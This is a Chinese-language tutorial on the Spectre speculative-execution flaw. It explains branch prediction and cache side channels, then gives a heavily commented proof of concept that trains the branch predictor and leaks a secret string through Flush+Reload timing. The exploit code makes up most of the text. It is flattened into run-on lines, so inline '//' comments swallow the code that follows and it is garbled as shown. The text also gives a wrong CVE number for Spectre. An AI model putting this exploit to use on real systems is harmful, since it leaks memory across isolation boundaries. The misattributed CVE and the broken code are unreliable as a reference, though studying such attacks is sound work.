Spectre漏洞
漏洞介紹
Spectre的PoC下載地址: https://spectreattack.com/。
Spectre涉及CVE編號為CVE-2017-5754。
雖然我們常見認為CPU訪問內存速度很快,但基于CPU運算頻率來看,這個訪問過程還是非常慢的,CPU訪問內存中的數據需要比較長的等待時間,為了提高CPU的性能,它提出了分支預測、預測執行的功能。讓CPU再訪問內存等待數據時,依然可以進行相對有效的計算。如果這個分支跳轉的目標的情況,是基于一個內存中的數據,并且這個內存中的數據又沒有被緩存過的話(CPU就只能去內存中進行讀取相關數據),CPU就會去嘗試進行分支預測推測執行的動作。當CPU讀取的內存數據回來的時候,CPU再根據這個數據的內容以及分支條件的邏輯去確認,它剛才的推測執行是否有效,如果無效則把計算結果丟棄,恢復到之前的狀態。如果有效則繼續執行,這大大提高了CPU的效率。
但這里存在一個問題,如果推測執行的結果被丟棄,但推測執行過程中所執行的代碼仍可能會影響CPU的緩存。在CPU進行恢復狀態的時,緩存不會被恢復,CPU只會把相關的寄存器的狀態恢復。這個漏洞的根本原因是因為,推測執行中的代碼可以影響CPU的緩存,而這個緩存的影響,又可以用一些技術手段探測出來。分支邏輯在這種實現上是不可靠的,因為緩存被修改了,它可以讓攻擊者經過測量,穩定推測出預測執行中所訪問數據的內容,就導致了內存中數據的泄露。
//CPU 幽靈漏洞POC代碼注釋 閱讀代碼要從main函數里面開始看 #include "stdafx.h" #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <stdint.h>#ifdef _MSC_VER // 如果定義了微軟編譯器版本 包含了用于Flush+Reload 緩存攻擊的rdtscp和clflush 的適當文件 //Flush+Reload攻擊方法就是利用緩存加載進CPU的話速度比從內存中加載速度快 //rdtscp(用于讀取時間戳計數器)通常只在較新的CPU上可用 // __MACHINEI(unsigned __int64 __rdtscp(unsigned int*)) // __MACHINEX86X_X64(void _mm_clflush(void const *)) #include <intrin.h> // for rdtscp and clflush #pragma optimize("gz", on) // g全局優化 z大小優化 s速度優化 on 開啟 分支預測為CPU優化技術的一種,要開啟 #else // 沒有定義微軟編譯器版本 #include <x86intrin.h> // for rdtscp and clflush #endif#define __TRYTIMES 999//這個是實驗的次數,這個實驗做的多一些,最后得出數據也會越精確// 數據類型 注意 uint8_t = unsigned char; 也就是每個數組元素都是1字節,這個很重要unsigned int array1_size = 16;uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };uint8_t array2[256 * 512]; //這個array2 無符號的話一個字節最高表示256 ,*512 ,緩存自身是64字節為單位,為了與內存映射,他回把緩存也 //以64字節劃分,內存加載進緩存的話一次就加載64字節,也就是說 每次你可能只是測試這64字節中其中一個,結果他全部加載進來了,后面的時間測試就沒法做了 //此處比較難理解,如果沒看懂,請看后面分析 char *secret = "The Magic Words are Squeamish Ossifrage";//這個是保密信息,只有受害者知道 翻譯成ASCII碼也就是 84 72 69 32(空格) //Wikipedia將其解釋為從1977年開始的RSA密碼挑戰的解決方案。uint8_t temp = 0;//全局變量 保證編譯器不會再編譯時刪除victim_function() 如果沒有全局變量的話,編譯器可能把該函數優化 //這個是用來訓練CPU分析預測,讓分支預測結果一直比array1_size小,第6次超出范圍,訓練CPU有分支預測功能,且array1_size每次都是從內存重新加載 //速度慢,第6次時沒判斷,array2已經加載進來了 void victim_function(size_t x) {if (x<array1_size) //這個array1_size 每次都是從新從內存加載 下面有對它的flush操作 //所以array1_size比x慢一些,導致后面惡意操作,x還未和array1_size比較,CPU就預測正確 后面的一系列操作就發生了(如計算array1[x] , array1[x]* 512 //請求緩存從內存加載array2[array1[x] * 512] 等操作 ) 等CPU判斷越界時,木已成舟,重置了CPU狀態,從false執行,但是緩存中數據沒變。temp &= array2[array1[x] * 512];//把array1[x]的數據讀取到緩存中 array2[] 里面內容一直就是1,只是通過下標記錄了array1[x]的值,//一共6次操作,第6次是違法操作,array2[] //解釋 array2[array1[x] * 512] x = malicious_x(如果他是字母secret[0]也就是T的偏移) array1[malicious_x] = T//array2[T* 512] 這個T是ASCII碼值 ASCII(I) = 84 也就是array2[84*512]被加載進緩存,后面CPU訪問他的時候速度非常快,比array2[0-83*512] 和array2[85-256*512](不包括arra1數據,這個后面的 107 行條件 mix_i != array1[training_x] 可以看到)快的多,因為//他們都是從內存中重新加載的//這里非常巧妙地是用 array2的下標記錄了 secret內容//之所以乘以512或者是64的倍數 是因為 cacheLine //是64字節,內存加載進緩存是加載完整cacheLine進去的,如果不是乘以64,我們一次加載就把多個secret元素加載進一個cacheLine,后面測量時間就沒法展開///了 }#define CACHE_HIT_THRESHOLD (80) //時間閥值 不同CPU是不同的,80應該是作者測試得到 //三參數 value是Secrect的內容,score中是評分值該函數將測試使用Flush+Reload緩存攻擊訪問該值所需的時間。 //命中次數存儲在results表中,但是函數只返回了兩個最佳猜測。 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {static int results[256]; //這是統計命中次數的表 int tries, i, j, k, mix_i;unsigned int junk = 0;size_t training_x, x;register uint64_t time1, time2; //為了時間更加精確,使用寄存器存儲時間變量。volatile uint8_t *addr; //volatile的變量是說這變量可能會被意想不到地改變,這樣,編譯器就不會去假設這個變量的值了。 for (i = 0; i<256; ++i)//僅僅初始化結果表。這里沒有緩存攻擊。results[i] = 0;//先把統計次數表都置0了,類似于百米賽跑開始時,時間清零for (tries = __TRYTIMES; tries>0; --tries) //開始試驗 每次我們只計算一個secrt數組內容{for (i = 0; i<256; i++){ //i7 CPU 是多核CPU,有三級緩存,L1和L2緩存為每個CPU私有,L3為多個核共享 _mm_clflush(&array2[i * 512]); //flush and reload 是應用的L3緩存,clfush指令可以 把緩存行從L1和L2中清理,保證下次把內存中輸入加載進L3緩存//調用readMemoryByte每次只分析 secret[]數組一個內容,下一次要把緩存清理一下}//CLFLUSH。CLFLUSH(Cache Line Flush,緩存行刷回)清除緩存線//若該緩存行中的數據被修改過,則將該數據寫入主存training_x = tries % array1_size; // training_x第一次為7for (j = 29; j >= 0; j--){_mm_clflush(&array1_size); //刷新緩存線路,這個后面用它 與x比較,flush之后每次都是重新加載,x與它判斷需要花費時間for (volatile int z = 0; z<100; z++) {}//確保刷新完成 相當于暫停一下x = ((j % 6) - 1) & ~0xFFFF;x = (x | (x >> 16));x = training_x ^ (x&(malicious_x ^ training_x));//前5次x計算出為7,第6次是那個偏移malicious_x//這些行將生成5次小寫的x,這將導致victim_function(x)接受分支。//這五次是用來訓練分支預測器假設分支會被取走。//由于之前的5次訓練,一個易受攻擊的過程將會在第6次迭代中執行if分支。victim_function(x);//執行陷阱函數}// flush and reloadfor (i = 0; i<256; ++i){mix_i = ((i * 167) + 13) & 255; //我們并不是簡單地測量一個序列中每個字節的訪問時間,而是將它們混合在一起,并保證每次把(0-255)都生成一遍//這樣處理器就無法猜測下一步它將訪問哪個字節,然后優化訪問。addr = &array2[mix_i * 512];// 計算緩存線路的地址來進行檢查。//我們測定訪問該緩存線中一個值的時間。如果速度很快,它就是緩存命中。如果是慢的,就是一個緩存缺失。time1 = __rdtscp(&junk); junk = *addr; //讀取內存 因為之前這個地址內內容被加載進緩存了,所以在此訪問這個地址會很快time2 = __rdtscp(&junk) - time1; //測出 時間間隔 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[training_x]) //后面這個條件就把array1排除了results[mix_i]++;//cache arrary2中的 0-255 項命中則 +1 分}/*獲取分組中命中率最高的兩個分組,分別存儲在 j(最高命中),k(次高命中) 里*/j = k = -1;for (i = 0; i < 256; i++) //i只是用來循環的輔助變量{if (j < 0 || results[i] >= results[j]) //result統計的是命中的次數,因為 j 命中最高的字符 k 次高項字符{ //j不會小于0且j命中次數要大于等于i的k = j; j = i; }else if (k < 0 || results[i] >= results[k]) //k也不會小于0,最小是0{k = i; }}/*最高命中項命中次數大于 2 倍加 5 的次高命中項次數或僅僅最高命中項命中 2 次則退出循環,成功找到命中項*/if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))break;}results[0] ^= junk; //使用 junk 防止優化輸出value[0] = (uint8_t)j;//存儲命中最高的字符score[0] = results[j];//存儲命中最高項字符的命中次數value[1] = (uint8_t)k;//存儲命中次高的字符score[1] = results[k];//存儲命中次高項字符的命中次數 }int main(int argc, const char **argv) {size_t malicious_x = (size_t)(secret - (char*)array1); //secret和array1都讀進了緩存//malicious_x會被傳入到victim_function中所以 array1[ malicious_x] = T//正常情況下,如果malicious_x比array1_size值大,array1[ malicious_x]是沒法讀取的,但是如果做一個訓練讓x值前幾次//都比array1_size小,然后放入malicious_x,如此循環幾次觸發了分支預測,CPU預測出x比array_size小的概率很大,當 malicious_x//再次放入的時候(這個malicious實際上是比array1_size大的),CPU就預測malicious已經超出數組array的大小,只是CPU緩存區在計算讀取的數據放到了CPU的緩存中,因為//因為一場所以并沒有真正的執行寫入到內存中,這就是漏洞產生的原因int i, score[2], len = 0x28;//0x28十進制為40 也就是 "The Magic Words are Squeamish Ossifrage"字符串的長度(字符串有效長度為39)uint8_t value[2];//上面字符串數組里面的內容printf("array1 adress=0x%p\n", array1);printf("secret adress=0x%p\n", secret);for (i = 0; i<sizeof(array2); ++i) //uint8_t array2[256*1]{array2[i] = 1;}if (3 == argc) {sscanf(argv[1], "%u", &malicious_x); malicious_x -= (size_t)array1; sscanf(argv[2], "%d", &len); }printf("reading %04d bytes\n\n", len); int len_copy = len;while (--len >= 0)//我們做40次試驗,每次只計算出一次secret的內容{printf("order:%04d", len_copy - len);printf("\taddress:0x%p", (uint8_t*)(malicious_x + array1)); readMemoryByte(malicious_x++, value, score); printf("\tresult:%s ", (score[0] >= 2 * score[1] ? "success" : "fail"));//經測試這里的2是可以寫成1的,寫成一 我們的512可以改成64.printf("\tvalue:%02X acsii:'%c'\tscore=%d ", value[0], (value[0]>31 && value[0]<127 ? value[0] : '?'), score[0]);if (score[1]>0) //次高項printf("\t(second best:value:0x%02X score=%d)", value[1], score[1]);printf("\n");}system("pause");return 0; }總結